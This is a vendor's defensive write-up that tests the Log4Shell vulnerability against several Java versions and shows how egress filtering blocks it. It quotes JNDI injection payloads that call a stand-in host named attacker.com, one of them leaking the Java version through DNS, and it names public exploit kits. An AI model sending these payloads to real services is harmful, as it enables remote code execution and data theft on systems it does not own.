Test driving the Log4Shell vulnerability with various versions of Java and observing the network egress connections
Log4Shell in a nutshell
➟ An attacker is able to conduct a completely unauthenticated Remote Code Execution on a publicly-exposed service.
➟ If a JVM-based service (Java, Scala, etc.) is using the log4j logging library (very popular), the service is vulnerable.
➟ A patched version of the log4j library, version 2.15.0, that fixes this issue was released on 06 Dec 2021.
➟ log4j 2.16.0 was released at 13 Dec 22:28 with the following note:
Source: https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4Removed Message Lookups. This is a hardening related to changes made to prevent CVE-2021-44228. While this change is recommended, it is NOT required to fix CVE-2021-44228.
Detailed walkthrough
An attacker sends a specially crafted request to an exposed service on the Internet. This request only needs to guess which parts of the request are likely to be logged by the receiving service – regardless of being successful or not. A common one is the User-Agent attribute of any request that is logged on the receiving server. Another one is an HTTP header such as Api-Key.
The targeted element of the request contains code to be evaluated by the receiving service. This is the heart of the matter. This code has to follow some constraints but within those constraints is the opportunity to load more, constraint-free code, from another remote server into the targeted server.
Fastly's Digging deeper into Log4Shell post breaks this down into two phases with a helpful diagram, which is also displayed below.
Phase 1: By injecting code along the lines of ${jndi:ldap://attacker.com/a}, the targeted, vulnerable server will request attacker.com at path /a, speaking the ldap protocol, for more code to load.
Phase 2: The ldap response suggests the vulnerable server, that has reached out, to load the code from another given URL, http://attacker.com in the diagram above.
The vulnerable server initiates the request to load more code.
If the vulnerable server has unfiltered access to the Internet, it will be able to make those requests successfully. This is the usual case with Cloud deployments.
We put to test the effectiveness of filtered access to the Internet, aka egress controls, against this vulnerability.
Test setup with log4j, Log4Shell PoC and egress controls
✅ A vulnerable server is deployed in AWS. This is a deployment of the christophetd/log4shell-vulnerable-app PoC from GitHub.
✅ A malicious instruction-delivery LDAP server, along with a payload-delivery HTTP server, is deployed with use of feihong-cs/JNDIExploit* from GitHub. It's a convenient self-contained package for this purpose. pro tip: most attackers are using this to start off with, so take a good look at the various paths (patterns) in the README.
* EDIT: 13-Dec 20:23 feihong-cs/JNDIExploit has disappeared. pimps/JNDI-Exploit-Kit seems like a stronger replacement.
✅ An instance of the DiscrimiNAT Firewall is placed on the outbound route to the Internet of the vulnerable server. It is configured to run in the see-thru mode (monitoring only, non-blocking) so we can observe the full flow of the two phases in the logs sent to CloudWatch.
The christophetd/log4shell-vulnerable-app PoC defaults to Java version 8u181 as of writing this post. This is important to raise because there was an important fix in 8u191.
Impacted Java versions (8u121, 8u191, etc.)
We are aware that even the newer versions of Java are susceptible to a full RCE. We will be updating this article soon with observations on that.
There is some chatter on the Internet about how JNDI would not load remote classes from version 8u121 onwards anyway, and that this was further tightened up from version 8u191.
The release notes of 8u121 seem to confirm:
Improved protection for JNDI remote class loading
We decided to put this to test and found that to some extent, both of those versions, and even the most recent versions, are impacted. What differs is how far the RCE is able to go.
Test with 8u181
8u181 > 8u121 & 8u181 < 8u191
Phase 1 and Phase 2 can be seen in the egress logs. Phase 1 was the connection from the vulnerable server to the LDAP server on destination port 1389; Phase 2 was the connection to the HTTP server for pulling the payload from on destination port 8080.
The directory listing from within the container running the vulnerable server confirms, with the presence of a file named pwned, that arbitrary code load from a remote server was indeed executed.
Test with 8u191
We are aware that even this version of Java is susceptible to a full RCE. We will be updating this article soon with observations on that.
8u191 >= 8u191
We patch the PoC to upgrade the version of Java from 8u181 to 8u191 for this test.
- FROM openjdk:8u181-jdk-alpine
+ FROM openjdk:8u191-jdk-alpine
Phase 1 can be seen in the egress logs still. But there is no Phase 2.
Since malicious code was never loaded, there are no telltale signs of it having run in the container. However, the attacker was able to make the server initiate some request. This request can be made to reveal more information about and from the server, as we will touch upon in the What remains section below. The path element of this initially requested URL affords a lot of room for bits of juicy information.
These are being commonly referred to as log4shell pingbacks.
Test with latest
We also tested with the latest JDK container image from the eclipse-temurin project. For reference, it returned the version string as follows:
openjdk version "17.0.1" 2021-10-19
OpenJDK Runtime Environment Temurin-17.0.1+12 (build 17.0.1+12)
OpenJDK 64-Bit Server VM Temurin-17.0.1+12 (build 17.0.1+12, mixed mode, sharing)
This version of Java demonstrated the same behaviour as version 8u191.
Test with an egress allowlist
As expected, with the see-thru mode removed and the remaining protocol rules not allowing the attacker's FQDNs, the DiscrimiNAT Firewall rejects the packets at Phase 1 itself, regardless of the version of Java.
What remains
There is a Phase 0.5.
The log4j library allows for many more types of lookups. Of particular interest would be the ability to lookup environment variables and system properties. These can be chained with the LDAP vulnerability to create meaningful DNS requests, which an attacker's DNS servers could capture and log.
As an example, consider this malicious string: ${jndi:ldap://${java:version}.attacker.com/foo}. This would inform the DNS servers for attacker.com the version of Java at the DNS-requesting IP address. Common environment variable names that contain API Keys and the sorts will surely be tested too.
The DNS requests in the Cloud go to the VPC's built-in resolver. An allowlist can be built to prevent this particular vector from working in AWS with the use of its Route 53 Resolver DNS Firewall service.
Note that DNS is not consulted when IP addresses are used straight off.
Are Chaser's products affected
No. The DiscrimiNAT Firewall itself does not use anything Java related in fact. We still carried out a check on the off chance of such lookups or similar in our Rust codebase and dependencies, and found nothing susceptible.
Live news & help
A compact list of links we continue to find useful while this vulnerability is managed:
- NCC Group's curated post on Reddit, kept up to date with noteworthy developments and further links.
- SwitHak's compilation of security bulletins and advisories from Who's Who,
kept up to date. - Royce Williams' Affected (and unaffected) products list at Tech Solvency.
- Log4Shell list of scanning sofware by Nationaal Cyber Security Centrum (NCSC-NL).
Further reading
A high signal-to-noise ratio set of links with background and deeper-dive on this vulnerability:
- Fastly's excellent, easy to consume Digging deeper into Log4Shell post.
- LunaSec's original post on the vulnerability.
- Michael Stepankin @ Veracode's Exploiting JNDI Injections in Java post from 2019 going into detail on what JDK 1.8.0_191+ is still susceptible to.
- A Journey from JNDimg/LDAP Manipulation to Remote Code Execution Dream Land presentation from Black Hat 2016.
Next steps
And why not deploy DiscrimiNAT's egress controls?
🚀 Launch a free trial: GCP Marketplace / AWS Marketplace
🚀 Get in touch with our stellar DevSecOps who will:
- not only guide you through the best architecture for your use-case
- but also troubleshoot any issues you may encounter
- and answer any geeky questions on protocols and whatnot